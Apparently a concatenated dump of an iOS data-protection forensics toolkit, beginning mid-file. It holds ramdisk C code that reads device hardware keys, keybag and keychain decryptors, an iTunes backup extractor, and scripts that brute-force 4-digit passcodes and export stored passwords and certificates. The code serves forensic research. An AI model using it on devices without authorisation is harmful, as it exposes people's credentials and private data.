60 | hispublic = z[36:36+32]
61 |
62 | #c4d9fe462a2ebbf0745195ce7dc5e8b49947bbd5b42da74175d5f8125b44582b
63 | shared = curve25519(mysecret, hispublic)
64 | print shared.encode("hex")
65 |
66 | h = SHA256.new()
67 | h.update('\x00\x00\x00\x01')
68 | h.update(shared)
69 | h.update(hispublic)
70 | h.update(mypublic)
71 | md = h.digest()
72 |
73 | #e442c81b91ea876d3cf42d3aea75f4b0c3f90f9fd045e1f5784b91260f3bdc9c
74 | print AESUnwrap(md, z[32+36:]).encode("hex")
75 |
--------------------------------------------------------------------------------
/emf_decrypter/includes/dmg/filevault.h:
--------------------------------------------------------------------------------
1 | #ifndef FILEVAULT_H
2 | #define FILEVAULT_H
3 |
4 | #include
5 | #include "dmg.h"
6 |
7 | #ifdef HAVE_CRYPT
8 |
9 | #include
10 | #include
11 |
12 | #define FILEVAULT_CIPHER_KEY_LENGTH 16
13 | #define FILEVAULT_CIPHER_BLOCKSIZE 16
14 | #define FILEVAULT_CHUNK_SIZE 4096
15 | #define FILEVAULT_PBKDF2_ITER_COUNT 1000
16 | #define FILEVAULT_MSGDGST_LENGTH 20
17 |
18 | /*
19 | * Information about the FileVault format was yoinked from vfdecrypt, which was written by Ralf-Philipp Weinmann ,
20 | * Jacob Appelbaum , and Christian Fromme
21 | */
22 |
23 | #define FILEVAULT_V2_SIGNATURE 0x656e637263647361ULL
24 |
25 | typedef struct FileVaultV1Header {
26 | uint8_t padding1[48];
27 | uint32_t kdfIterationCount;
28 | uint32_t kdfSaltLen;
29 | uint8_t kdfSalt[48];
30 | uint8_t unwrapIV[0x20];
31 | uint32_t wrappedAESKeyLen;
32 | uint8_t wrappedAESKey[296];
33 | uint32_t wrappedHMACSHA1KeyLen;
34 | uint8_t wrappedHMACSHA1Key[300];
35 | uint32_t integrityKeyLen;
36 | uint8_t integrityKey[48];
37 | uint8_t padding2[484];
38 | } __attribute__((__packed__)) FileVaultV1Header;
39 |
40 | typedef struct FileVaultV2Header {
41 | uint64_t signature;
42 | uint32_t version;
43 | uint32_t encIVSize;
44 | uint32_t unk1;
45 | uint32_t unk2;
46 | uint32_t unk3;
47 | uint32_t unk4;
48 | uint32_t unk5;
49 | UDIFID uuid;
50 | uint32_t blockSize;
51 | uint64_t dataSize;
52 | uint64_t dataOffset;
53 | uint8_t padding[0x260];
54 | uint32_t kdfAlgorithm;
55 | uint32_t kdfPRNGAlgorithm;
56 | uint32_t kdfIterationCount;
57 | uint32_t kdfSaltLen;
58 | uint8_t kdfSalt[0x20];
59 | uint32_t blobEncIVSize;
60 | uint8_t blobEncIV[0x20];
61 | uint32_t blobEncKeyBits;
62 | uint32_t blobEncAlgorithm;
63 | uint32_t blobEncPadding;
64 | uint32_t blobEncMode;
65 | uint32_t encryptedKeyblobSize;
66 | uint8_t encryptedKeyblob[0x30];
67 | } __attribute__((__packed__)) FileVaultV2Header;
68 |
69 | typedef struct FileVaultInfo {
70 | union {
71 | FileVaultV1Header v1;
72 | FileVaultV2Header v2;
73 | } header;
74 |
75 | uint8_t version;
76 | uint64_t dataOffset;
77 | uint64_t dataSize;
78 | uint32_t blockSize;
79 |
80 | AbstractFile* file;
81 |
82 | HMAC_CTX hmacCTX;
83 | AES_KEY aesKey;
84 | AES_KEY aesEncKey;
85 |
86 | off_t offset;
87 |
88 | uint32_t curChunk;
89 | unsigned char chunk[FILEVAULT_CHUNK_SIZE];
90 |
91 | char dirty;
92 | char headerDirty;
93 | } FileVaultInfo;
94 | #endif
95 |
96 | AbstractFile* createAbstractFileFromFileVault(AbstractFile* file, const char* key);
97 |
98 | #endif
99 |
--------------------------------------------------------------------------------
/emf_decrypter/BUILD:
--------------------------------------------------------------------------------
1 | INSTRUCTIONS FOR BUILDING XPWN
2 | ------------------------------
3 |
4 | These are very basic instructions on how to build xpwn related projects, they
5 | are tailored to Debian based systems. They are not meant to be a substitute
6 | for experience in programming in GNU/Linux environments, but it should be a
7 | good starting point.
8 |
9 | 1. Install a basic build environment (compilers, etc.):
10 |
11 | sudo apt-get install build-essential
12 |
13 | 2. Install some prerequisites libraries required by xpwn:
14 |
15 | sudo apt-get install libcrypt-dev libz-dev libbz2-dev3 libusb-dev
16 |
17 | 3. Install cmake. It is recommended you download and build it from the
18 | official cmake website, since versions >= 2.6.0 are recommended.
19 |
20 | wget http://www.cmake.org/files/v2.6/cmake-2.6.2.tar.gz
21 | tar zxvf cmake-2.6.2.tar.gz
22 | cd cmake-2.6.2
23 | ./configure
24 | make
25 | sudo make install
26 |
27 | Now you are ready to build xpwn. It is highly recommended that you build
28 | out-of-source (that is, the build products are not placed into the same
29 | folders as the sources). This is much neater and cleaning up is as simple as
30 | deleting the build products folder.
31 |
32 | Assuming xpwn sources are in ~/xpwn:
33 |
34 | 4. Create a build folder
35 |
36 | cd ~
37 | mkdir build
38 | cd build
39 |
40 | 5. Create Makefiles
41 |
42 | cmake ~/xpwn
43 |
44 | 6. Build
45 |
46 | make
47 |
48 | 7. Package
49 |
50 | make package
51 |
52 | BUILDING USEFUL LIBRARIES
53 | -------------------------
54 |
55 | These command-lines can be substituted in for step 6. The products are in the
56 | subfolders (make package will not include them).
57 |
58 | xpwn library (for IPSW generation)
59 |
60 | make libXPwn.a
61 |
62 | Windows pwnmetheus library (for QuickPwn)
63 |
64 | make libpwnmetheus.dll
65 |
66 | HELPFUL MAKEFILE GENERATION COMMAND-LINES
67 | -----------------------------------------
68 |
69 | These command-lines can be substituted in for step 5.
70 |
71 | Add debugging symbols:
72 |
73 | cmake ~/xpwn -DCMAKE_C_FLAGS=-g
74 |
75 | Try to only use static libraries:
76 |
77 | cmake ~/xpwn -DBUILD_STATIC=YES
78 |
79 |
80 | CROSS-COMPILING
81 | ---------------
82 |
83 | This is a complex and advanced topic, but it is possible with the appropriate
84 | CMake toolchain files and properly configured build environment. I have
85 | crossbuilt Windows, OS X, Linux x86, Linux x64, and iPhone binaries from one
86 | Ubuntu machine. The source trees are properly configured for this task.
87 |
88 | MORE HELP
89 | ---------
90 |
91 | Consult the CMake documentation and wiki and look in the CMakeLists.txt files
92 | for hints on how things are supposed to work.
93 |
--------------------------------------------------------------------------------
/ramdisk_tools/AppleKeyStore.h:
--------------------------------------------------------------------------------
1 | #include
2 |
3 | /*
4 | AppleKeyStore
5 | 0 : initUserClient scalarOutSize=1
6 | 1 :
7 | 2 : AppleKeyStoreKeyBagCreate
8 | 3 : AppleKeyStoreKeyBagCopyData inscalars=id structOutSize=0x8000
9 | 4 : keybagrelease inscalars":[0]}
10 | 5 : AppleKeyStoreKeyBagSetSystem
11 | 6 : AppleKeyStoreKeyBagCreateWithData
12 | 7 : getlockstate "inscalars":[0], "scalarOutSize":1}
13 | 8 : AppleKeyStoreLockDevice
14 | 9 : AppleKeyStoreUnlockDevice instruct
15 | 10: AppleKeyStoreKeyWrap
16 | 11: AppleKeyStoreKeyUnwrap
17 | 12: AppleKeyStoreKeyBagUnlock
18 | 13: AppleKeyStoreKeyBagLock
19 | 14: AppleKeyStoreKeyBagGetSystem scalarOutSize=1
20 | 15: AppleKeyStoreKeyBagChangeSecret
21 | 17: AppleKeyStoreGetDeviceLockState scalarOutSize=1
22 | 18: AppleKeyStoreRecoverWithEscrowBag
23 | 19: AppleKeyStoreOblitClassD
24 | */
25 | #define kAppleKeyStoreInitUserClient 0
26 | #define kAppleKeyStoreKeyBagSetSystem 5
27 | #define kAppleKeyStoreKeyBagCreateWithData 6
28 | #define kAppleKeyStoreUnlockDevice 9
29 |
30 | #define MAX_CLASS_KEYS 20
31 |
32 | struct KeyBagBlobItem
33 | {
34 | unsigned int tag;
35 | unsigned int len;
36 | union
37 | {
38 | unsigned int intvalue;
39 | unsigned char bytes[1];
40 | } data;
41 | };
42 |
43 | typedef struct ClassKey
44 | {
45 | unsigned char uuid[16];
46 | unsigned int clas;
47 | unsigned int wrap;
48 | unsigned char wpky[40];
49 | } ClassKey;
50 |
51 | typedef struct KeyBag
52 | {
53 | unsigned int version;
54 | unsigned int type;
55 | unsigned char uuid[16];
56 | unsigned char hmck[40];
57 | unsigned char salt[20];
58 | unsigned int iter;
59 |
60 | unsigned int numKeys;
61 |
62 | struct ClassKey keys[MAX_CLASS_KEYS];
63 | } KeyBag;
64 |
65 |
66 | int AppleKeyStoreKeyBagInit();
67 | CFDictionaryRef AppleKeyStore_loadKeyBag(const char* folder, const char* filename);
68 | int AppleKeyStoreKeyBagCreateWithData(CFDataRef data, uint64_t* keybagId);
69 | int AppleKeyStoreKeyBagSetSystem(uint64_t keybagId);
70 | int AppleKeyStoreUnlockDevice(io_connect_t conn, CFDataRef passcode);
71 |
72 | KeyBag* AppleKeyStore_parseBinaryKeyBag(CFDataRef kb);
73 | void AppleKeyStore_printKeyBag(KeyBag* kb);
74 |
75 | int AppleKeyStore_getPasscodeKey(KeyBag* keybag,
76 | const char* passcode,
77 | size_t passcodeLen,
78 | uint8_t* passcodeKey);
79 |
80 | int AppleKeyStore_unlockKeybagFromUserland(KeyBag* kb,
81 | const char* passcode,
82 | size_t passcodeLen,
83 | uint8_t* key835);
84 |
--------------------------------------------------------------------------------
/python_scripts/demo_bruteforce.py:
--------------------------------------------------------------------------------
1 | import plistlib
2 | import os
3 | from keystore.keybag import Keybag
4 | from keychain.keychain4 import Keychain4
5 | from keychain.managedconfiguration import bruteforce_old_pass
6 | from util.ramdiskclient import RamdiskToolClient
7 | from util import write_file
8 |
9 | def checkPasscodeComplexity(rdclient):
10 | pl = rdclient.downloadFile("/mnt2/mobile/Library/ConfigurationProfiles/UserSettings.plist")
11 | if not pl:
12 | print "Failed to download UserSettings.plist, assuming simple passcode"
13 | return 0
14 | pl = plistlib.readPlistFromString(pl)
15 | print "passcodeKeyboardComplexity :", pl["restrictedValue"]["passcodeKeyboardComplexity"]
16 | return pl["restrictedValue"]["passcodeKeyboardComplexity"]["value"]
17 |
18 | def bf_system():
19 | client = RamdiskToolClient()
20 | di = client.getDeviceInfos()
21 | devicedir = di["udid"]
22 | if os.getcwd().find(devicedir) == -1:
23 | try:
24 | os.mkdir(devicedir)
25 | except:
26 | pass
27 | os.chdir(devicedir)
28 | key835 = di.get("key835").decode("hex")
29 |
30 | systembag = client.getSystemKeyBag()
31 | kbkeys = systembag["KeyBagKeys"].data
32 | kb = Keybag.createWithDataSignBlob(kbkeys, key835)
33 | keybags = di.setdefault("keybags", {})
34 | kbuuid = kb.uuid.encode("hex")
35 | print "Keybag UUID :", kbuuid
36 | if True and keybags.has_key(kbuuid) and keybags[kbuuid].has_key("passcodeKey"):
37 | print "We've already seen this keybag"
38 | passcodeKey = keybags[kbuuid].get("passcodeKey").decode("hex")
39 | print kb.unlockWithPasscodeKey(passcodeKey)
40 | kb.printClassKeys()
41 | else:
42 | keybags[kbuuid] = {"KeyBagKeys": systembag["KeyBagKeys"]}
43 | di["KeyBagKeys"] = systembag["KeyBagKeys"]
44 | di.save()
45 | if checkPasscodeComplexity(client) == 0:
46 | print "Trying all 4-digits passcodes..."
47 | bf = client.bruteforceKeyBag(systembag["KeyBagKeys"].data)
48 | if bf:
49 | di.update(bf)
50 | keybags[kbuuid].update(bf)
51 | print bf
52 | print kb.unlockWithPasscodeKey(bf.get("passcodeKey").decode("hex"))
53 | kb.printClassKeys()
54 | di["classKeys"] = kb.getClearClassKeysDict()
55 | di.save()
56 | else:
57 | print "Complex passcode used !"
58 | return
59 |
60 | #keychain_blob = client.downloadFile("/private/var/Keychains/keychain-2.db")
61 | keychain_blob = client.downloadFile("/mnt2/Keychains/keychain-2.db")
62 | write_file("keychain-2.db", keychain_blob)
63 | print "Downloaded keychain database, use keychain_tool.py to decrypt secrets"
64 |
65 | bf_system()
66 |
--------------------------------------------------------------------------------
/ramdisk_tools/IOKit.c:
--------------------------------------------------------------------------------
1 | #include
2 | #include
3 | #include "IOKit.h"
4 |
5 | struct ioconnectCache {
6 | const char* serviceName;
7 | io_connect_t conn;
8 | };
9 |
10 | struct ioconnectCache cache[10]={{NULL, 0}};
11 |
12 | void __attribute__((destructor)) IOKit_destruct()
13 | {
14 | int i;
15 | for (i=0; i < 10 && cache[i].conn != 0; i++) {
16 | //printf("Closing %s\n", cache[i].serviceName);
17 | IOServiceClose(cache[i].conn);
18 | }
19 | }
20 |
21 | io_connect_t IOKit_getConnect(const char* serviceName)
22 | {
23 | IOReturn ret;
24 | io_connect_t conn = 0;
25 | int i;
26 |
27 | for (i=0; i < 10 && cache[i].serviceName != NULL; i++) {
28 | if (!strcmp(serviceName, cache[i].serviceName))
29 | {
30 | //printf("got cache for %s\n", serviceName);
31 | return cache[i].conn;
32 | }
33 | }
34 |
35 | CFMutableDictionaryRef dict = IOServiceMatching(serviceName);
36 | io_service_t dev = IOServiceGetMatchingService(kIOMasterPortDefault, dict);
37 |
38 | if(!dev) {
39 | fprintf(stderr, "FAIL: Could not get %s service\n", serviceName);
40 | return -1;
41 | }
42 |
43 | ret = IOServiceOpen(dev, mach_task_self(), 0, &conn);
44 |
45 | IOObjectRelease(dev);
46 | if(ret != kIOReturnSuccess) {
47 | fprintf(stderr, "FAIL: Cannot open service %s\n", serviceName);
48 | return -1;
49 | }
50 |
51 | if (i < 10) {
52 | cache[i].serviceName = serviceName;
53 | cache[i].conn = conn;
54 | }
55 |
56 | return conn;
57 | }
58 |
59 | IOReturn IOKit_call(const char* serviceName,
60 | uint32_t selector,
61 | const uint64_t *input,
62 | uint32_t inputCnt,
63 | const void *inputStruct,
64 | size_t inputStructCnt,
65 | uint64_t *output,
66 | uint32_t *outputCnt,
67 | void *outputStruct,
68 | size_t *outputStructCnt)
69 | {
70 | IOReturn ret;
71 | io_connect_t conn = IOKit_getConnect(serviceName);
72 |
73 | ret = IOConnectCallMethod(conn,
74 | selector,
75 | input,
76 | inputCnt,
77 | inputStruct,
78 | inputStructCnt,
79 | output,
80 | outputCnt,
81 | outputStruct,
82 | outputStructCnt);
83 |
84 | if (ret != kIOReturnSuccess)
85 | {
86 | fprintf(stderr, "IOConnectCallMethod on %s selector %d returned %x\n", serviceName, selector, ret);
87 | }
88 |
89 | return ret;
90 | }
--------------------------------------------------------------------------------
/ramdisk_tools/util.h:
--------------------------------------------------------------------------------
1 | struct HFSInfos {
2 | uint64_t volumeUUID;
3 | uint32_t blockSize;
4 | uint32_t dataVolumeOffset;
5 | };
6 |
7 | struct HFSPlusVolumeHeader {
8 | uint16_t signature;
9 | uint16_t version;
10 | uint32_t attributes;
11 | uint32_t lastMountedVersion;
12 | uint32_t journalInfoBlock;
13 |
14 | uint32_t createDate;
15 | uint32_t modifyDate;
16 | uint32_t backupDate;
17 | uint32_t checkedDate;
18 |
19 | uint32_t fileCount;
20 | uint32_t folderCount;
21 |
22 | uint32_t blockSize;
23 | uint32_t totalBlocks;
24 | uint32_t freeBlocks;
25 |
26 | uint32_t nextAllocation;
27 | uint32_t rsrcClumpSize;
28 | uint32_t dataClumpSize;
29 | uint32_t nextCatalogID;
30 |
31 | uint32_t writeCount;
32 | uint64_t encodingsBitmap;
33 |
34 | uint32_t finderInfo[6];
35 | uint64_t volumeUUID;
36 | /*
37 | HFSPlusForkData allocationFile;
38 | HFSPlusForkData extentsFile;
39 | HFSPlusForkData catalogFile;
40 | HFSPlusForkData attributesFile;
41 | HFSPlusForkData startupFile;*/
42 | } __attribute__((packed));
43 |
44 | //https://github.com/iDroid-Project/openiBoot/blob/master/openiboot/includes/bdev.h
45 | typedef struct _LwVMPartitionRecord {
46 | uint64_t type[2];
47 | uint64_t guid[2];
48 | uint64_t begin;
49 | uint64_t end;
50 | uint64_t attribute; // 0 == unencrypted; 0x1000000000000 == encrypted
51 | char partitionName[0x48];
52 | } __attribute__ ((packed)) LwVMPartitionRecord;
53 |
54 | typedef struct _LwVM {
55 | uint64_t type[2];
56 | uint64_t guid[2];
57 | uint64_t mediaSize;
58 | uint32_t numPartitions;
59 | uint32_t crc32;
60 | uint8_t unkn[464];
61 | LwVMPartitionRecord partitions[12];
62 | uint16_t chunks[1024]; // chunks[0] should be 0xF000
63 | } __attribute__ ((packed)) LwVM;
64 |
65 | static const char LwVMType[] = { 0x6A, 0x90, 0x88, 0xCF, 0x8A, 0xFD, 0x63, 0x0A, 0xE3, 0x51, 0xE2, 0x48, 0x87, 0xE0, 0xB9, 0x8B };
66 |
67 | int getHFSInfos(struct HFSInfos *infos);
68 |
69 | CFMutableStringRef CreateHexaCFString(uint8_t* buffer, size_t len);
70 |
71 | void printBytesToHex(const uint8_t* buffer, size_t bytes);
72 | void printHexString(const char* description, const uint8_t* buffer, size_t bytes);
73 | int write_file(const char* filename, uint8_t* data, size_t len);
74 |
75 | void addHexaString(CFMutableDictionaryRef out, CFStringRef key, uint8_t* buffer, size_t len);
76 | void saveResults(CFStringRef filename, CFMutableDictionaryRef out);
77 |
78 | int mountDataPartition(const char* mountpoint);
79 |
80 |
--------------------------------------------------------------------------------
/python_scripts/backup_tool.py:
--------------------------------------------------------------------------------
1 | from backups.backup3 import decrypt_backup3
2 | from backups.backup4 import MBDB
3 | from keystore.keybag import Keybag
4 | from util import readPlist, makedirs
5 | import os
6 | import sys
7 | import plistlib
8 |
9 | showinfo = ["Device Name", "Display Name", "Last Backup Date", "IMEI",
10 | "Serial Number", "Product Type", "Product Version", "iTunes Version"]
11 |
12 | def extract_backup(backup_path, output_path, password=""):
13 | if not os.path.exists(backup_path + "/Manifest.plist"):
14 | print "Manifest.plist not found"
15 | return
16 | manifest = readPlist(backup_path + "/Manifest.plist")
17 |
18 | info = readPlist( backup_path + "/Info.plist")
19 | for i in showinfo:
20 | print i + " : " + unicode(info.get(i, "missing"))
21 |
22 | print "Extract backup to %s ? (y/n)" % output_path
23 | if raw_input() == "n":
24 | return
25 |
26 | print "Backup is %sencrypted" % (int(not manifest["IsEncrypted"]) * "not ")
27 |
28 | if manifest["IsEncrypted"] and password == "":
29 | print "Enter backup password : "
30 | password = raw_input()
31 |
32 | if not manifest.has_key("BackupKeyBag"):
33 | print "No BackupKeyBag in manifest, assuming iOS 3.x backup"
34 | decrypt_backup3(backup_path, output_path, password)
35 | else:
36 | mbdb = MBDB(backup_path)
37 |
38 | kb = Keybag.createWithBackupManifest(manifest, password)
39 | if not kb:
40 | return
41 | manifest["password"] = password
42 | makedirs(output_path)
43 | plistlib.writePlist(manifest, output_path + "/Manifest.plist")
44 |
45 | mbdb.keybag = kb
46 | mbdb.extract_backup(output_path)
47 |
48 | print "You can decrypt the keychain using the following command : "
49 | print "python keychain_tool.py -d %s %s" % (output_path + "/keychain-backup.plist", output_path + "/Manifest.plist")
50 |
51 | def extract_all():
52 | if sys.platform == "win32":
53 | mobilesync = os.environ["APPDATA"] + "/Apple Computer/MobileSync/Backup/"
54 | elif sys.platform == "darwin":
55 | mobilesync = os.environ["HOME"] + "/Library/Application Support/MobileSync/Backup/"
56 | else:
57 | print "Unsupported operating system"
58 | return
59 | print "-" * 60
60 | print "Searching for iTunes backups"
61 | print "-" * 60
62 |
63 | for udid in os.listdir(mobilesync):
64 | extract_backup(mobilesync + "/" + udid, udid + "_extract")
65 |
66 | def main():
67 | if len(sys.argv) < 2:
68 | print "Usage: %s [output path]" % sys.argv[0]
69 | return
70 | backup_path = sys.argv[1]
71 | output_path = os.path.dirname(backup_path) + "_extract"
72 | if len(sys.argv) >= 3:
73 | output_path = sys.argv[2]
74 |
75 | extract_backup(backup_path, output_path)
76 |
77 | if __name__ == "__main__":
78 | main()
79 |
--------------------------------------------------------------------------------
/python_scripts/keychain_tool.py:
--------------------------------------------------------------------------------
1 | from optparse import OptionParser
2 | from keystore.keybag import Keybag
3 | from keychain import keychain_load
4 | from keychain.managedconfiguration import bruteforce_old_pass
5 | from util import readPlist
6 | from keychain.keychain4 import Keychain4
7 | import plistlib
8 |
9 | def main():
10 | parser = OptionParser(usage="%prog keychain.db/keychain-backup.plist keyfile.plist/Manifest.plist")
11 | parser.add_option("-d", "--display", dest="display", action="store_true", default=False,
12 | help="Show keychain items on stdout")
13 | parser.add_option("-s", "--sanitize", dest="sanitize", action="store_true", default=False,
14 | help="Hide secrets on stdout with ***")
15 | parser.add_option("-p", "--passwords", dest="passwords", action="store_true", default=False,
16 | help="Save generic & internet passwords as CSV file")
17 | parser.add_option("-c", "--certs", dest="certs", action="store_true", default=False,
18 | help="Extract certificates and keys")
19 | parser.add_option("-o", "--old", dest="oldpass", action="store_true", default=False,
20 | help="Bruteforce old passcodes")
21 |
22 | (options, args) = parser.parse_args()
23 | if len(args) < 2:
24 | parser.print_help()
25 | return
26 |
27 | p = readPlist(args[1])
28 |
29 | if p.has_key("BackupKeyBag"):
30 | deviceKey = None
31 | if p.has_key("key835"):
32 | deviceKey = p["key835"].decode("hex")
33 | else:
34 | if not p["IsEncrypted"]:
35 | print "This backup is not encrypted, without key 835 nothing in the keychain can be decrypted"
36 | print "If you have key835 for device %s enter it (in hex)" % p["Lockdown"]["UniqueDeviceID"]
37 | d = raw_input()
38 | if len(d) == 32:
39 | p["key835"] = d
40 | deviceKey = d.decode("hex")
41 | plistlib.writePlist(p, args[1])
42 |
43 | kb = Keybag.createWithBackupManifest(p, p.get("password",""), deviceKey)
44 | if not kb:
45 | return
46 | k = Keychain4(args[0], kb)
47 | else:
48 | kb = Keybag.createWithPlist(p)
49 | k = keychain_load(args[0], kb, p["key835"].decode("hex"))
50 |
51 | if options.display:
52 | k.print_all(options.sanitize)
53 | if options.passwords:
54 | k.save_passwords()
55 | if options.certs:
56 | k.save_certs_keys()
57 |
58 | if options.oldpass:
59 | mc = k.get_managed_configuration()
60 | if not mc:
61 | print "Managed configuration not found"
62 | return
63 | print "Bruteforcing %d old passcodes" % len(mc.get("history",[]))
64 | for h in mc["history"]:
65 | p = bruteforce_old_pass(h)
66 | if p:
67 | print "Found : %s" % p
68 | else:
69 | print "Not Found"
70 |
71 | if __name__ == "__main__":
72 | main()
73 |
--------------------------------------------------------------------------------
/ramdisk_tools/device_info.c:
--------------------------------------------------------------------------------
1 | #include
2 | #include
3 | #include
4 | #include
5 | #include "IOAESAccelerator.h"
6 | #include "AppleEffaceableStorage.h"
7 | #include "bsdcrypto/rijndael.h"
8 | #include "bsdcrypto/key_wrap.h"
9 | #include "registry.h"
10 | #include "util.h"
11 |
12 | uint8_t lockers[960]={0};
13 | uint8_t lwvm[80]={0};
14 |
15 | CFDictionaryRef device_info(int socket, CFDictionaryRef request)
16 | {
17 | uint8_t dkey[40]={0};
18 | uint8_t emf[36]={0};
19 |
20 | struct HFSInfos hfsinfos={0};
21 |
22 | CFMutableDictionaryRef out = CFDictionaryCreateMutable(kCFAllocatorDefault,
23 | 0,
24 | &kCFTypeDictionaryKeyCallBacks,
25 | &kCFTypeDictionaryValueCallBacks);
26 |
27 | get_device_infos(out);
28 |
29 | getHFSInfos(&hfsinfos);
30 | /*
31 | printf("NAND block size : %x\n", hfsinfos.blockSize);
32 | printf("Data volume UUID : %llx\n", CFSwapInt64BigToHost(hfsinfos.volumeUUID));
33 | printf("Data volume offset : %x\n", hfsinfos.dataVolumeOffset);
34 | */
35 | uint8_t* key835 = IOAES_key835();
36 | uint8_t* key89B = IOAES_key89B();
37 |
38 | if (!AppleEffaceableStorage__getBytes(lockers, 960))
39 | {
40 | CFDataRef lockersData = CFDataCreateWithBytesNoCopy(kCFAllocatorDefault, lockers, 960, kCFAllocatorNull);
41 | CFDictionaryAddValue(out, CFSTR("lockers"), lockersData);
42 | CFRelease(lockersData);
43 |
44 | if (!AppleEffaceableStorage__getLockerFromBytes(LOCKER_DKEY, lockers, 960, dkey, 40))
45 | {
46 | aes_key_wrap_ctx ctx;
47 |
48 | aes_key_wrap_set_key(&ctx, key835, 16);
49 |
50 | if(aes_key_unwrap(&ctx, dkey, dkey, 32/8))
51 | printf("FAIL unwrapping DKey with key 0x835\n");
52 | }
53 | if (!AppleEffaceableStorage__getLockerFromBytes(LOCKER_EMF, lockers, 960, emf, 36))
54 | {
55 | doAES(&emf[4], &emf[4], 32, kIOAESAcceleratorCustomMask, key89B, NULL, kIOAESAcceleratorDecrypt, 128);
56 | }
57 | else if (!AppleEffaceableStorage__getLockerFromBytes(LOCKER_LWVM, lockers, 960, lwvm, 0x50))
58 | {
59 | doAES(lwvm, lwvm, 0x50, kIOAESAcceleratorCustomMask, key89B, NULL, kIOAESAcceleratorDecrypt, 128);
60 | memcpy(&emf[4], &lwvm[32+16], 32);
61 | }
62 | }
63 |
64 | CFNumberRef n = CFNumberCreate(kCFAllocatorDefault, kCFNumberSInt32Type, &hfsinfos.dataVolumeOffset);
65 | CFDictionaryAddValue(out, CFSTR("dataVolumeOffset"), n);
66 | CFRelease(n);
67 | addHexaString(out, CFSTR("dataVolumeUUID"), (uint8_t*) &hfsinfos.volumeUUID, 8);
68 | addHexaString(out, CFSTR("key835"), key835, 16);
69 | addHexaString(out, CFSTR("key89B"), key89B, 16);
70 | addHexaString(out, CFSTR("EMF"), &emf[4], 32);
71 | addHexaString(out, CFSTR("DKey"), dkey, 32);
72 |
73 | return out;
74 | }
75 |
--------------------------------------------------------------------------------
/emf_decrypter/includes/common.h:
--------------------------------------------------------------------------------
1 | #ifndef COMMON_H
2 | #define COMMON_H
3 |
4 | #include
5 | #include
6 | #include
7 | #include
8 | #include
9 |
10 | #ifdef WIN32
11 | #define fseeko fseeko64
12 | #define ftello ftello64
13 | #define off_t off64_t
14 | #define mkdir(x, y) mkdir(x)
15 | #define PATH_SEPARATOR "\\"
16 | #else
17 | #define PATH_SEPARATOR "/"
18 | #endif
19 |
20 | #define TRUE 1
21 | #define FALSE 0
22 |
23 | #define FLIPENDIAN(x) flipEndian((unsigned char *)(&(x)), sizeof(x))
24 | #define FLIPENDIANLE(x) flipEndianLE((unsigned char *)(&(x)), sizeof(x))
25 |
26 | #define IS_BIG_ENDIAN 0
27 | #define IS_LITTLE_ENDIAN 1
28 |
29 | #define TIME_OFFSET_FROM_UNIX 2082844800L
30 | #define APPLE_TO_UNIX_TIME(x) ((x) - TIME_OFFSET_FROM_UNIX)
31 | #define UNIX_TO_APPLE_TIME(x) ((x) + TIME_OFFSET_FROM_UNIX)
32 |
33 | #define ASSERT(x, m) if(!(x)) { fflush(stdout); fprintf(stderr, "error: %s\n", m); perror("error"); fflush(stderr); exit(1); }
34 |
35 | extern char endianness;
36 |
37 | static inline void flipEndian(unsigned char* x, int length) {
38 | int i;
39 | unsigned char tmp;
40 |
41 | if(endianness == IS_BIG_ENDIAN) {
42 | return;
43 | } else {
44 | for(i = 0; i < (length / 2); i++) {
45 | tmp = x[i];
46 | x[i] = x[length - i - 1];
47 | x[length - i - 1] = tmp;
48 | }
49 | }
50 | }
51 |
52 | static inline void flipEndianLE(unsigned char* x, int length) {
53 | int i;
54 | unsigned char tmp;
55 |
56 | if(endianness == IS_LITTLE_ENDIAN) {
57 | return;
58 | } else {
59 | for(i = 0; i < (length / 2); i++) {
60 | tmp = x[i];
61 | x[i] = x[length - i - 1];
62 | x[length - i - 1] = tmp;
63 | }
64 | }
65 | }
66 |
67 | static inline void hexToBytes(const char* hex, uint8_t** buffer, size_t* bytes) {
68 | *bytes = strlen(hex) / 2;
69 | *buffer = (uint8_t*) malloc(*bytes);
70 | size_t i;
71 | for(i = 0; i < *bytes; i++) {
72 | uint32_t byte;
73 | sscanf(hex, "%2x", &byte);
74 | (*buffer)[i] = byte;
75 | hex += 2;
76 | }
77 | }
78 |
79 | static inline void hexToInts(const char* hex, unsigned int** buffer, size_t* bytes) {
80 | *bytes = strlen(hex) / 2;
81 | *buffer = (unsigned int*) malloc((*bytes) * sizeof(int));
82 | size_t i;
83 | for(i = 0; i < *bytes; i++) {
84 | sscanf(hex, "%2x", &((*buffer)[i]));
85 | hex += 2;
86 | }
87 | }
88 |
89 | struct io_func_struct;
90 |
91 | typedef int (*readFunc)(struct io_func_struct* io, off_t location, size_t size, void *buffer);
92 | typedef int (*writeFunc)(struct io_func_struct* io, off_t location, size_t size, void *buffer);
93 | typedef void (*closeFunc)(struct io_func_struct* io);
94 |
95 | typedef struct io_func_struct {
96 | void* data;
97 | readFunc read;
98 | writeFunc write;
99 | closeFunc close;
100 | } io_func;
101 |
102 | struct AbstractFile;
103 |
104 | unsigned char* decodeBase64(char* toDecode, size_t* dataLength);
105 | void writeBase64(struct AbstractFile* file, unsigned char* data, size_t dataLength, int tabLength, int width);
106 | char* convertBase64(unsigned char* data, size_t dataLength, int tabLength, int width);
107 |
108 | #endif
109 |
--------------------------------------------------------------------------------
/python_scripts/util/ramdiskclient.py:
--------------------------------------------------------------------------------
1 | import os
2 | import plistlib
3 | import struct
4 | import socket
5 | from datetime import datetime
6 | from progressbar import ProgressBar, Percentage, Bar, SimpleProgress, ETA
7 |
8 | class DeviceInfo(dict):
9 | @staticmethod
10 | def create(dict):
11 | try:
12 | assert dict.has_key("dataVolumeUUID")
13 | filename = "%s.plist" % dict.get("dataVolumeUUID")
14 | return DeviceInfo(plistlib.readPlist(filename))
15 | except:
16 | return DeviceInfo(dict)
17 |
18 | def save(self):
19 | filename = "%s.plist" % self.get("dataVolumeUUID", "unk")
20 | print "Saving %s/%s" % (os.getcwd() , filename)
21 | plistlib.writePlist(self, filename)
22 |
23 | def __del__(self):
24 | pass#self.save()
25 |
26 | class RamdiskToolClient(object):
27 | def __init__(self, host="localhost", port=1999):
28 | self.host = host
29 | self.port = port
30 | self.device_infos = {}
31 | self.connect()
32 |
33 | def connect(self):
34 | self.s = socket.socket()
35 | try:
36 | self.s.connect((self.host, self.port))
37 | except:
38 | raise Exception("Cannot cannot to ramdisk over usbmux, run \"python tcprelay.py -t 22:2222 1999:%d\"" % self.port)
39 |
40 | def getDeviceInfos(self):
41 | self.device_infos = self.send_req({"Request":"DeviceInfo"})
